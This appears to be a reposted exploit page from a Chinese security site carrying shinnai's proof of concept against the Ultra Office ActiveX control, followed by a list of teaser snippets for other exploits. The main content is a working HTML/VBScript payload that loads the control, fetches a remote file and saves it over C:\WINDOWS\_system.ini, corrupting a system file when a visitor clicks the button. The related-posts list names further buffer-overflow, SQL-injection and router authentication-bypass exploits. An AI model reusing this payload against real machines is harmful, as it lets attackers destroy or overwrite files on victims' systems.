Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

所属分类: 网络安全 / Exploit 阅读数: 97
收藏 0 赞 0 分享
-----------------------------------------------------------------------------
Ultra Office ActiveX Control Remote Arbitrary File Corruption
url: http://www.ultrashareware.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
dim remURL
remURL = "http://SomeSite.com/SomeFile.doc"
test.Open remURL, True
test.Save "C:\WINDOWS\_system.ini", True
End Sub
</script>


更多精彩内容其他人还在看

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享

Acoustica Mixcraft

#!/usr/bin/perl # # Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit # Author: Koshi # # Date: 08-28-08 ( 0day ) # Ap
收藏 0 赞 0 分享

Simple PHP Blog (SPHPBlog)

<? /* sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 */ function curl($url,$postvar){ global $cook; $ch = cur
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruptio
收藏 0 赞 0 分享

Dana IRC 1.4a Remote Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was loo
收藏 0 赞 0 分享

GeekLog

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO;
收藏 0 赞 0 分享

NoName Script

################################################################################ [ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti
收藏 0 赞 0 分享

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Be
收藏 0 赞 0 分享
查看更多